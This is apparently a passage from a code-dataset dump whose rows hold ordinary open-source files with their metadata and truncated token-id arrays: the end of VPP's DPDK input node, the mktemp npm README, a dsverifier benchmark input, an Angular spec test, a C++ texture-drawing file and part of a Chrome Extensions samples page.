n_bytes += dpdk_process_subseq_segs (vm, b[1], mb[1], &bt);
n_bytes += dpdk_process_subseq_segs (vm, b[2], mb[2], &bt);
n_bytes += dpdk_process_subseq_segs (vm, b[3], mb[3], &bt);
}
VLIB_BUFFER_TRACE_TRAJECTORY_INIT (b[0]);
VLIB_BUFFER_TRACE_TRAJECTORY_INIT (b[1]);
VLIB_BUFFER_TRACE_TRAJECTORY_INIT (b[2]);
VLIB_BUFFER_TRACE_TRAJECTORY_INIT (b[3]);
/* next */
mb += 4;
n_left -= 4;
}
while (n_left)
{
b[0] = vlib_buffer_from_rte_mbuf (mb[0]);
vlib_buffer_copy_template (b[0], &bt);
or_flags |= dpdk_ol_flags_extract (mb, flags, 1);
flags += 1;
b[0]->current_data = mb[0]->data_off - RTE_PKTMBUF_HEADROOM;
n_bytes += b[0]->current_length = mb[0]->data_len;
if (maybe_multiseg)
n_bytes += dpdk_process_subseq_segs (vm, b[0], mb[0], &bt);
VLIB_BUFFER_TRACE_TRAJECTORY_INIT (b[0]);
/* next */
mb += 1;
n_left -= 1;
}
*or_flagsp = or_flags;
return n_bytes;
}
static_always_inline void
dpdk_process_flow_offload (dpdk_device_t * xd, dpdk_per_thread_data_t * ptd,
uword n_rx_packets)
{
uword n;
dpdk_flow_lookup_entry_t *fle;
vlib_buffer_t *b0;
/* TODO prefetch and quad-loop */
for (n = 0; n < n_rx_packets; n++)
{
if ((ptd->flags[n] & PKT_RX_FDIR_ID) == 0)
continue;
fle = pool_elt_at_index (xd->flow_lookup_entries,
ptd->mbufs[n]->hash.fdir.hi);
if (fle->next_index != (u16) ~ 0)
ptd->next[n] = fle->next_index;
if (fle->flow_id != ~0)
{
b0 = vlib_buffer_from_rte_mbuf (ptd->mbufs[n]);
b0->flow_id = fle->flow_id;
}
if (fle->buffer_advance != ~0)
{
b0 = vlib_buffer_from_rte_mbuf (ptd->mbufs[n]);
vlib_buffer_advance (b0, fle->buffer_advance);
}
}
}
static_always_inline u32
dpdk_device_input (vlib_main_t * vm, dpdk_main_t * dm, dpdk_device_t * xd,
vlib_node_runtime_t * node, u32 thread_index, u16 queue_id)
{
uword n_rx_packets = 0, n_rx_bytes;
u32 n_left, n_trace;
u32 *buffers;
u32 next_index = VNET_DEVICE_INPUT_NEXT_ETHERNET_INPUT;
struct rte_mbuf **mb;
vlib_buffer_t *b0;
u16 *next;
u16 or_flags;
u32 n;
int single_next = 0;
dpdk_per_thread_data_t *ptd = vec_elt_at_index (dm->per_thread_data,
thread_index);
vlib_buffer_t *bt = &ptd->buffer_template;
if ((xd->flags & DPDK_DEVICE_FLAG_ADMIN_UP) == 0)
return 0;
/* get up to DPDK_RX_BURST_SZ buffers from PMD */
while (n_rx_packets < DPDK_RX_BURST_SZ)
{
n = rte_eth_rx_burst (xd->port_id, queue_id,
ptd->mbufs + n_rx_packets,
DPDK_RX_BURST_SZ - n_rx_packets);
n_rx_packets += n;
if (n < 32)
break;
}
if (n_rx_packets == 0)
return 0;
/* Update buffer template */
vnet_buffer (bt)->sw_if_index[VLIB_RX] = xd->sw_if_index;
bt->error = node->errors[DPDK_ERROR_NONE];
/* as DPDK is allocating empty buffers from mempool provided before interface
start for each queue, it is safe to store this in the template */
bt->buffer_pool_index = xd->buffer_pool_for_queue[queue_id];
bt->ref_count = 1;
vnet_buffer (bt)->feature_arc_index = 0;
bt->current_config_index = 0;
/* receive burst of packets from DPDK PMD */
if (PREDICT_FALSE (xd->per_interface_next_index != ~0))
next_index = xd->per_interface_next_index;
/* as all packets belong to the same interface feature arc lookup
can be don once and result stored in the buffer template */
if (PREDICT_FALSE (vnet_device_input_have_features (xd->sw_if_index)))
vnet_feature_start_device_input_x1 (xd->sw_if_index, &next_index, bt);
if (xd->flags & DPDK_DEVICE_FLAG_MAYBE_MULTISEG)
n_rx_bytes = dpdk_process_rx_burst (vm, ptd, n_rx_packets, 1, &or_flags);
else
n_rx_bytes = dpdk_process_rx_burst (vm, ptd, n_rx_packets, 0, &or_flags);
if (PREDICT_FALSE (or_flags & PKT_RX_FDIR))
{
/* some packets will need to go to different next nodes */
for (n = 0; n < n_rx_packets; n++)
ptd->next[n] = next_index;
/* flow offload - process if rx flow offload enabled and at least one
packet is marked */
if (PREDICT_FALSE ((xd->flags & DPDK_DEVICE_FLAG_RX_FLOW_OFFLOAD) &&
(or_flags & PKT_RX_FDIR)))
dpdk_process_flow_offload (xd, ptd, n_rx_packets);
/* enqueue buffers to the next node */
vlib_get_buffer_indices_with_offset (vm, (void **) ptd->mbufs,
ptd->buffers, n_rx_packets,
sizeof (struct rte_mbuf));
vlib_buffer_enqueue_to_next (vm, node, ptd->buffers, ptd->next,
n_rx_packets);
}
else
{
u32 *to_next, n_left_to_next;
vlib_get_new_next_frame (vm, node, next_index, to_next, n_left_to_next);
vlib_get_buffer_indices_with_offset (vm, (void **) ptd->mbufs, to_next,
n_rx_packets,
sizeof (struct rte_mbuf));
if (PREDICT_TRUE (next_index == VNET_DEVICE_INPUT_NEXT_ETHERNET_INPUT))
{
vlib_next_frame_t *nf;
vlib_frame_t *f;
ethernet_input_frame_t *ef;
nf = vlib_node_runtime_get_next_frame (vm, node, next_index);
f = vlib_get_frame (vm, nf->frame);
f->flags = ETH_INPUT_FRAME_F_SINGLE_SW_IF_IDX;
ef = vlib_frame_scalar_args (f);
ef->sw_if_index = xd->sw_if_index;
ef->hw_if_index = xd->hw_if_index;
/* if PMD supports ip4 checksum check and there are no packets
marked as ip4 checksum bad we can notify ethernet input so it
can send pacets to ip4-input-no-checksum node */
if (xd->flags & DPDK_DEVICE_FLAG_RX_IP4_CKSUM &&
(or_flags & PKT_RX_IP_CKSUM_BAD) == 0)
f->flags |= ETH_INPUT_FRAME_F_IP4_CKSUM_OK;
vlib_frame_no_append (f);
}
n_left_to_next -= n_rx_packets;
vlib_put_next_frame (vm, node, next_index, n_left_to_next);
single_next = 1;
}
/* packet trace if enabled */
if (PREDICT_FALSE ((n_trace = vlib_get_trace_count (vm, node))))
{
if (single_next)
vlib_get_buffer_indices_with_offset (vm, (void **) ptd->mbufs,
ptd->buffers, n_rx_packets,
sizeof (struct rte_mbuf));
n_left = n_rx_packets;
buffers = ptd->buffers;
mb = ptd->mbufs;
next = ptd->next;
while (n_trace && n_left)
{
b0 = vlib_get_buffer (vm, buffers[0]);
if (single_next == 0)
next_index = next[0];
vlib_trace_buffer (vm, node, next_index, b0, /* follow_chain */ 0);
dpdk_rx_trace_t *t0 = vlib_add_trace (vm, node, b0, sizeof t0[0]);
t0->queue_index = queue_id;
t0->device_index = xd->device_index;
t0->buffer_index = vlib_get_buffer_index (vm, b0);
clib_memcpy_fast (&t0->mb, mb[0], sizeof t0->mb);
clib_memcpy_fast (&t0->buffer, b0,
sizeof b0[0] - sizeof b0->pre_data);
clib_memcpy_fast (t0->buffer.pre_data, b0->data,
sizeof t0->buffer.pre_data);
clib_memcpy_fast (&t0->data, mb[0]->buf_addr + mb[0]->data_off,
sizeof t0->data);
n_trace--;
n_left--;
buffers++;
mb++;
next++;
}
vlib_set_trace_count (vm, node, n_trace);
}
vlib_increment_combined_counter
(vnet_get_main ()->interface_main.combined_sw_if_counters
+ VNET_INTERFACE_COUNTER_RX, thread_index, xd->sw_if_index,
n_rx_packets, n_rx_bytes);
vnet_device_increment_rx_packets (thread_index, n_rx_packets);
return n_rx_packets;
}
VLIB_NODE_FN (dpdk_input_node) (vlib_main_t * vm, vlib_node_runtime_t * node,
vlib_frame_t * f)
{
dpdk_main_t *dm = &dpdk_main;
dpdk_device_t *xd;
uword n_rx_packets = 0;
vnet_device_input_runtime_t *rt = (void *) node->runtime_data;
vnet_device_and_queue_t *dq;
u32 thread_index = node->thread_index;
/*
* Poll all devices on this cpu for input/interrupts.
*/
/* *INDENT-OFF* */
foreach_device_and_queue (dq, rt->devices_and_queues)
{
xd = vec_elt_at_index(dm->devices, dq->dev_instance);
n_rx_packets += dpdk_device_input (vm, dm, xd, node, thread_index,
dq->queue_id);
}
/* *INDENT-ON* */
return n_rx_packets;
}
/* *INDENT-OFF* */
VLIB_REGISTER_NODE (dpdk_input_node) = {
.type = VLIB_NODE_TYPE_INPUT,
.name = "dpdk-input",
.sibling_of = "device-input",
.flags = VLIB_NODE_FLAG_TRACE_SUPPORTED,
/* Will be enabled if/when hardware is detected. */
.state = VLIB_NODE_STATE_DISABLED,
.format_buffer = format_ethernet_header_with_length,
.format_trace = format_dpdk_rx_trace,
.n_errors = DPDK_N_ERROR,
.error_strings = dpdk_error_strings,
};
/* *INDENT-ON* */
/*
* fd.io coding-style-patch-verification: ON
*
* Local Variables:
* eval: (c-set-style "gnu")
* End:
*/
| vpp-dev/vpp | src/plugins/dpdk/device/node.c | C | apache-2.0 | 15,254 | [
30522,
1013,
1008,
1008,
9385,
1006,
1039,
1007,
2325,
26408,
1998,
1013,
2030,
2049,
18460,
1012,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2025,
2224,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# mktemp
[](https://travis-ci.org/sasaplus1/mktemp)
[](https://badge.fury.io/js/mktemp)
[](https://npm.runkit.com/mktemp)
[](https://renovatebot.com)
mktemp command for node.js
## Installation
```console
$ npm install mktemp
```
## Usage
```js
var mktemp = require('mktemp');
mktemp.createFile('XXXXX.txt', function(err, path) {
if (err) throw err;
// path match a /^[\da-zA-Z]{5}\.txt$/
console.log(path);
});
// return value match a /^[\da-zA-Z]{5}\.tmp$/
mktemp.createFileSync('XXXXX.tmp');
mktemp.createDir('XXXXXXX', function(err, path) {
if (err) throw err;
// path match a /^[\da-zA-Z]{7}$/
console.log(path);
});
// return value match a /^XXX-[\da-zA-Z]{3}$/
mktemp.createDirSync('XXX-XXX');
```
if support Promise, can use Promise style.
```js
var mktemp = require('mktemp');
mktemp
.createFile('XXXXX.txt')
.then(function(path) {
// path match a /^[\da-zA-Z]{5}\.txt$/
console.log(path);
})
.catch(function(err) {
console.error(err);
});
mktemp
.createDir('XXXXX')
.then(function(path) {
// path match a /^[\da-zA-Z]{5}$/
console.log(path);
})
.catch(function(err) {
console.error(err);
});
```
mktemp functions are replace to random string from placeholder "X" in template. see example:
```js
mktemp.createFileSync('XXXXXXX'); // match a /^[\da-zA-Z]{7}$/
mktemp.createFileSync('XXX.tmp'); // match a /^[\da-zA-Z]{3}\.tmp$/
mktemp.createFileSync('XXX-XXX'); // match a /^XXX-[\da-zA-Z]{3}$/
```
## Functions
### createFile(template[, callback])
* `template`
* `String` - filename template
* `callback`
* `function(err, path)` - callback function
* `err` : `Error|Null` - error object
* `path` : `String` - path
create blank file of unique filename. permission is `0600`.
it throws TypeError if node.js unsupported Promise and callback is not a function.
### createFileSync(template)
* `template`
* `String` - filename template
* `return`
* `String` - path
sync version createFile.
### createDir(template[, callback])
* `template`
* `String` - dirname template
* `callback`
* `function(err, path)` - callback function
* `err` : `Error|Null` - error object
* `path` : `String` - path
create directory of unique dirname. permission is `0700`.
it throws TypeError if node.js unsupported Promise and callback is not a function.
### createDirSync(template)
* `template`
* `String` - dirname template
* `return`
* `String` - path
sync version createDir.
## Contributors
* [Michael Ficarra](https://github.com/michaelficarra)
* [rjz](https://github.com/rjz)
## License
The MIT license.
| sasaplus1/mktemp | README.md | Markdown | mit | 2,873 | [
30522,
1001,
12395,
18532,
2361,
1031,
999,
1031,
3857,
3570,
1033,
1006,
16770,
1024,
1013,
1013,
10001,
1011,
25022,
1012,
8917,
1013,
21871,
9331,
7393,
2487,
1013,
12395,
18532,
2361,
1012,
17917,
2290,
1029,
3589,
1027,
3040,
1007,
103... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#include <dsverifier.h>
digital_system controller = {
.b = { -2.7056 , 4.9189 , -2.9898 , 0.60746 },
.b_uncertainty = { 0.015 , 0.015 , 0.015 , 0.015 },
.b_size = 4,
.a = { 1 , -0.24695 , -0.80001 , 0.35681 },
.a_uncertainty = { 0.015 , 0.015 , 0.015 , 0.015 },
.a_size = 4,
.sample_time = 5.000000e-01
};
implementation impl = {
.int_bits = 8,
.frac_bits = 8,
.max = 1.000000,
.min = -1.000000
};
digital_system plant = {
.b = { 0 , 0.33528 , -0.55879 },
.b_uncertainty = { 0.015 , 0.015 , 0.015 },
.b_size = 3,
.a = { 1 , -1.8906 , 0.7788 },
.a_size = 3,
.a_uncertainty = { 0.015 , 0.015 , 0.015 }
};
| ssvlab/dsverifier | benchmarks/jss2018/ESBMC/STABILITY_CLOSED_LOOP/16-bits/DFI/Uncertainty-1.5/test-case-12/input.c | C | apache-2.0 | 647 | [
30522,
1001,
2421,
1026,
16233,
6299,
18095,
1012,
1044,
1028,
3617,
1035,
2291,
11486,
1027,
1063,
1012,
1038,
1027,
1063,
1011,
1016,
1012,
3963,
26976,
1010,
1018,
1012,
6205,
2620,
2683,
1010,
1011,
1016,
1012,
5818,
2683,
2620,
1010,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { UserPostsComponent } from './user-posts.component';
describe('UserPostsComponent', () => {
let component: UserPostsComponent;
let fixture: ComponentFixture<UserPostsComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ UserPostsComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(UserPostsComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
| things-cx/ThingsWebApp | Things.WebApp/src/app/post/user-posts/user-posts.component.spec.ts | TypeScript | gpl-3.0 | 650 | [
30522,
12324,
1063,
2004,
6038,
2278,
1010,
6922,
8873,
18413,
5397,
1010,
3231,
8270,
1065,
2013,
1005,
1030,
16108,
1013,
4563,
1013,
5604,
1005,
1025,
12324,
1063,
5310,
19894,
9363,
8737,
5643,
3372,
1065,
2013,
1005,
1012,
1013,
5310,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#include "jai_texture_object.h"
#include "jai_shader_define.h"
namespace jai { namespace drawable {
TextureObject::TextureObject()
{
mColorEffect.setIdentity();
}
void TextureObject::_prepareDraw(int sample, Mat4 const & transform)
{
using namespace jai::ogl;
auto sct = mShader ? mShader : ShaderCoordSample::GetNoraml();
sct->use();
unsigned char * buffer = (unsigned char *)mVertexts.data();
draw::SetVertexAttribData(sct->mACoord, 4, EDataType::Float, false, sizeof(Vertext), buffer + JumpPos);
draw::SetVertexAttribData(sct->mASmpCoord, 2, EDataType::Float, false, sizeof(Vertext), buffer + JumpTV);
if(sct->hasEffect()) draw::SetUniformMat(sct->mUEffect, mColorEffect);
draw::SetUniformInt(sct->mUSmp, sample);
draw::SetUniformFloat(sct->mUColor, mColor.red, mColor.green, mColor.blue, mColor.alpha);
draw::SetUniformMat(sct->mUTransform, transform);
draw::EnableVertexAttrib(sct->mACoord);
draw::EnableVertexAttrib(sct->mASmpCoord);
}
}}
| angzel/jai | source/jai/jai_drawable/jai_texture_object.cpp | C++ | mit | 1,145 | [
30522,
1001,
2421,
1000,
17410,
1035,
14902,
1035,
4874,
1012,
1044,
1000,
1001,
2421,
1000,
17410,
1035,
8703,
2099,
1035,
9375,
1012,
1044,
1000,
3415,
15327,
17410,
1063,
3415,
15327,
4009,
3085,
1063,
14902,
16429,
20614,
1024,
1024,
14... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE html><!-- This page is a placeholder for generated extensions api doc. Note:
1) The <head> information in this page is significant, should be uniform
across api docs and should be edited only with knowledge of the
templating mechanism.
3) All <body>.innerHTML is genereated as an rendering step. If viewed in a
browser, it will be re-generated from the template, json schema and
authored overview content.
4) The <body>.innerHTML is also generated by an offline step so that this
page may easily be indexed by search engines.
--><html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link href="../css/print.css" rel="stylesheet" type="text/css" media="print">
<script type="text/javascript" src="../../../../third_party/jstemplate/jstemplate_compiled.js">
</script>
<script type="text/javascript" src="../../../../../third_party/json_minify/minify-sans-regexp.js">
</script>
<script type="text/javascript" src="../js/api_page_generator.js"></script>
<script type="text/javascript" src="../js/bootstrap.js"></script>
<script type="text/javascript" src="../js/sidebar.js"></script>
<title>Samples - Google Chrome Extensions - Google Code</title></head>
<body doc-family="extensions"> <link href="../css/ApiRefStyles.css" rel="stylesheet" type="text/css">
<link href="../css/shared.css" rel="stylesheet" type="text/css">
<div id="devModeWarning" class="displayModeWarning">
You are viewing extension docs in chrome via the 'file:' scheme: are you expecting to see local changes when you refresh? You'll need run chrome with --allow-file-access-from-files.
</div>
<div id="branchWarning" class="displayModeWarning">
<span>WARNING: This is the <span id="branchName">BETA</span> documentation.
It may not work with the stable release of Chrome.</span>
<select id="branchChooser">
<option>Choose a different version...
</option><option value="">Stable
</option><option value="beta">Beta
</option><option value="dev">Dev
</option><option value="trunk">Trunk
</option></select>
</div>
<div id="unofficialWarning" class="displayModeWarning">
<span>WARNING: This is unofficial documentation. It may not work with the
current release of Chrome.</span>
<button id="goToOfficialDocs">Go to the official docs</button>
</div>
<div id="gc-container" class="labs">
<!-- SUBTEMPLATES: DO NOT MOVE FROM THIS LOCATION -->
<!-- In particular, sub-templates that recurse, must be used by allowing
jstemplate to make a copy of the template in this section which
are not operated on by way of the jsskip="true" -->
<!-- /SUBTEMPLATES -->
<a id="top"></a>
<div id="skipto">
<a href="#gc-pagecontent">Skip to page content</a>
<a href="#gc-toc">Skip to main navigation</a>
</div>
<!-- API HEADER -->
<table id="header" width="100%" cellspacing="0" border="0">
<tbody><tr>
<td valign="middle"><a href="http://code.google.com/"><img src="../images/code_labs_logo.gif" height="43" width="161" alt="Google Code Labs" style="border:0; margin:0;"></a></td>
<td valign="middle" width="100%" style="padding-left:0.6em;">
<form action="http://www.google.com/cse" id="cse" style="margin-top:0.5em">
<div id="gsc-search-box">
<input type="hidden" name="cx" value="002967670403910741006:61_cvzfqtno">
<input type="hidden" name="ie" value="UTF-8">
<input type="text" name="q" value="" size="55">
<input class="gsc-search-button" type="submit" name="sa" value="Search">
<br>
<span class="greytext">e.g. "page action" or "tabs"</span>
</div>
</form>
<script type="text/javascript" src="https://www.google.com/jsapi"></script>
<script type="text/javascript">google.load("elements", "1", {packages: "transliteration"});</script>
<script type="text/javascript" src="https://www.google.com/coop/cse/t13n?form=cse&t13n_langs=en"></script>
<script type="text/javascript" src="https://www.google.com/coop/cse/brand?form=cse&lang=en"></script>
</td>
</tr>
</tbody></table>
<div id="codesiteContent" class="">
<a id="gc-topnav-anchor"></a>
<div id="gc-topnav">
<h1>Google Chrome Extensions (<a href="http://code.google.com/labs/">Labs</a>)</h1>
<ul id="home" class="gc-topnav-tabs">
<li id="home_link">
<a href="index.html" title="Google Chrome Extensions home page">Home</a>
</li>
<li id="docs_link">
<a href="docs.html" title="Official Google Chrome Extensions documentation">Docs</a>
</li>
<li id="faq_link">
<a href="faq.html" title="Answers to frequently asked questions about Google Chrome Extensions">FAQ</a>
</li>
<li id="samples_link">
<a href="samples.html" title="Sample extensions (with source code)">Samples</a>
</li>
<li id="group_link">
<a href="http://groups.google.com/a/chromium.org/group/chromium-extensions" title="Google Chrome Extensions developer forum">Group</a>
</li>
<li id="so_link">
<a href="http://stackoverflow.com/questions/tagged/google-chrome-extension" title="[google-chrome-extension] tag on Stack Overflow">Questions?</a>
</li>
</ul>
</div> <!-- end gc-topnav -->
<div class="g-section g-tpl-170">
<!-- SIDENAV -->
<div class="g-unit g-first" id="gc-toc">
<ul>
<li><a href="getstarted.html">Getting Started</a></li>
<li><a href="overview.html">Overview</a></li>
<li><a href="whats_new.html">What's New?</a></li>
<li><h2><a href="devguide.html">Developer's Guide</a></h2>
<ul>
<li>Browser UI
<ul>
<li><a href="browserAction.html">Browser Actions</a></li>
<li><a href="contextMenus.html">Context Menus</a></li>
<li><a href="notifications.html">Desktop Notifications</a></li>
<li><a href="omnibox.html">Omnibox</a></li>
<li><a href="options.html">Options Pages</a></li>
<li><a href="override.html">Override Pages</a></li>
<li><a href="pageAction.html">Page Actions</a></li>
</ul>
</li>
<li>Browser Interaction
<ul>
<li><a href="bookmarks.html">Bookmarks</a></li>
<li><a href="cookies.html">Cookies</a></li>
<li><a href="devtools.html">Developer Tools</a></li>
<li><a href="events.html">Events</a></li>
<li><a href="history.html">History</a></li>
<li><a href="management.html">Management</a></li>
<li><a href="tabs.html">Tabs</a></li>
<li><a href="windows.html">Windows</a></li>
</ul>
</li>
<li>Implementation
<ul>
<li><a href="a11y.html">Accessibility</a></li>
<li><a href="background_pages.html">Background Pages</a></li>
<li><a href="content_scripts.html">Content Scripts</a></li>
<li><a href="xhr.html">Cross-Origin XHR</a></li>
<li><a href="i18n.html">Internationalization</a></li>
<li><a href="messaging.html">Message Passing</a></li>
<li><a href="permissions.html">Optional Permissions</a></li>
<li><a href="npapi.html">NPAPI Plugins</a></li>
</ul>
</li>
<li>Finishing
<ul>
<li><a href="hosting.html">Hosting</a></li>
<li><a href="external_extensions.html">Other Deployment Options</a></li>
</ul>
</li>
</ul>
</li>
<li><h2><a href="apps.html">Packaged Apps</a></h2></li>
<li><h2><a href="tutorials.html">Tutorials</a></h2>
<ul>
<li><a href="tut_debugging.html">Debugging</a></li>
<li><a href="tut_analytics.html">Google Analytics</a></li>
<li><a href="tut_oauth.html">OAuth</a></li>
</ul>
</li>
<li><h2>Reference</h2>
<ul>
<li>Formats
<ul>
<li><a href="manifest.html">Manifest Files</a></li>
<li><a href="match_patterns.html">Match Patterns</a></li>
</ul>
</li>
<li><a href="permission_warnings.html">Permission Warnings</a></li>
<li><a href="api_index.html">chrome.* APIs</a></li>
<li><a href="api_other.html">Other APIs</a></li>
</ul>
</li>
<li><h2><a href="samples.html">Samples</a></h2></li>
<div class="line"> </div>
<li><h2>More</h2>
<ul>
<li><a href="http://code.google.com/chrome/webstore/docs/index.html">Chrome Web Store</a></li>
<li><a href="http://code.google.com/chrome/apps/docs/developers_guide.html">Hosted Apps</a></li>
<li><a href="themes.html">Themes</a></li>
</ul>
</li>
</ul>
</div>
<script>
initToggles();
</script>
<div class="g-unit" id="gc-pagecontent">
<div id="pageTitle">
<h1 class="page_title">Samples</h1>
</div>
<!-- TABLE OF CONTENTS -->
<!-- /TABLE OF CONTENTS -->
<!-- Standard content lead-in for experimental API pages -->
<!-- STATIC CONTENT PLACEHOLDER -->
<div id="static"><link rel="stylesheet" href="../css/samples.css">
<script>var search_data = {
"0262260daf0c8f7b28feff2ef23b05e7abf9d1e0": "A BROWSER ACTION WHICH CHANGES ITS ICON WHEN CLICKED. BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETICON",
"ea2894c41cb8e80a4433a3e6c5772dadce9be90d": "A BROWSER ACTION WITH A POPUP THAT CHANGES THE PAGE COLOR. BROWSER_ACTION TABS CHROME.TABS.EXECUTESCRIPT",
"ede3c47b7757245be42ec33fd5ca63df4b490066": "A BROWSER ACTION WITH NO ICON THAT MAKES THE PAGE RED BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETBADGEBACKGROUNDCOLOR CHROME.BROWSERACTION.SETBADGETEXT CHROME.TABS.EXECUTESCRIPT",
"fbf0aa1a09a15ff8cc4fc7de4fd176d6c663d07a": "ACCEPTLANGUAGE RETURNS ACCEPT LANGUAGES OF THE BROWSER BROWSER_ACTION CHROME.I18N.GETACCEPTLANGUAGES CHROME.I18N.GETMESSAGE",
"9a6e4ec46997fb92b324974afa08a3d007e2537f": "ANIMATED PAGE ACTION THIS EXTENSION ADDS AN ANIMATED BROWSER ACTION TO THE TOOLBAR. BACKGROUND_PAGE PAGE_ACTION TABS CHROME.PAGEACTION.HIDE CHROME.PAGEACTION.ONCLICKED CHROME.PAGEACTION.SETICON CHROME.PAGEACTION.SETTITLE CHROME.PAGEACTION.SHOW CHROME.TABS.GET",
"a1f7cf79dd555b04fa8d603247a040e644996293": "APP LAUNCHER BROWSER_ACTION MANAGEMENT CHROME.EXTENSION.GETURL CHROME.MANAGEMENT.GET CHROME.MANAGEMENT.GETALL CHROME.MANAGEMENT.LAUNCHAPP CHROME.TABS.CREATE",
"9747e3d6a3eab39bc7c17f11a80573c62d44c7e5": "BLANK NEW TAB PAGE CHROME_URL_OVERRIDES",
